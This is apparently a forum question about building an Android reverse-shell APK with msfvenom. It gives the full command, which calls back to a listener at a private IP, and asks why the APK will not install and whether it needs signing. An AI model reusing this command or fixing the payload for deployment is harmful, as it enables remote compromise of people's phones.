This is for educational purposes only!
I'm trying to generate android payload using msfconsole payload standalone generator:
msfvenom with the command:
msfvenom -p android/shell/reverse_tcp LHOST=192.168.100.4 LPORT=4444 R > android_shell.apk
My problem is that the apk refuse to install on any android version "I tried 4.0 to 4.3" and it shows the message:
application not installed
What am I doing wrong? Is there some kind of signing for the apk file?